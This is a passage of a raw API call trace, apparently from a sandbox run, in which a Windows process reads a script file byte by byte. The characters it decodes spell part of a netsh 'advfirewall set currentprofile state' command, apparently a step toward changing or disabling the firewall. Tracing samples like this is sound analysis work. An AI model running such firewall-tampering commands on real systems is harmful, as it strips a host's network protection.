lpDistanceToMoveHigh=0x0) returned 0x0 [0038.561] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de32a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0038.561] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.561] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.561] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de32c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0038.561] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.561] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.561] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de32e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0038.561] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.561] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.561] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de330, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0038.561] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.561] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.561] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de332, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0038.561] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.561] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.561] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de334, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0038.561] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.561] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.562] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de336, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0038.562] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.562] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.562] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.562] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.562] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.562] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de33a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0038.562] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.562] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.562] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de33c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0038.562] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.562] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.562] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de33e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0038.562] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.562] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.562] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de340, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0038.562] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.562] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.562] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de342, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0038.562] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.563] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.563] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de344, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0038.563] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.563] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.563] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de346, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.563] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.563] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.563] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de348, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0038.563] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.563] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.563] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de34a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0038.563] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.563] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.563] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de34c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0038.563] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.563] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.563] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de34e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0038.563] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.563] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.563] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de350, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0038.564] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.564] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.564] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de352, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0038.564] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.564] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.564] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de354, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.564] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.564] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.564] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de356, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0038.564] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.564] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.564] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de358, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0038.564] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.564] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.564] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de35a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0038.564] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.564] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.564] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de35c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0038.564] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.564] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.564] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de35e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0038.565] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.565] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.565] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de360, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0038.565] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.565] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.565] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de362, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0038.565] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.565] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.565] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de364, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0038.565] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.565] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.565] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de366, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.565] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.565] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.565] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de368, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0038.565] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.565] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.565] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de36a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0038.565] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.565] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.566] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de36c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0038.566] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.566] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.566] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de36e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0038.566] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.566] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.566] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de370, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0038.566] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.566] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.566] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de372, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.566] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.566] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.566] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x4a6dc320*, lpNumberOfBytesRead=0x2bf7a8*=0x1, lpOverlapped=0x0) returned 1 [0038.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a6dc320, cbMultiByte=1, lpWideCharStr=0x4a6de374, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0038.566] _get_osfhandle (_FileHandle=0) returned 0x98 [0038.566] SetFilePointer (in: hFile=0x98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.566] ReadFile (in: hFile=0x98, lpBuffer=0x4a6dc320, nNumberOfBytesToRead=0x1, 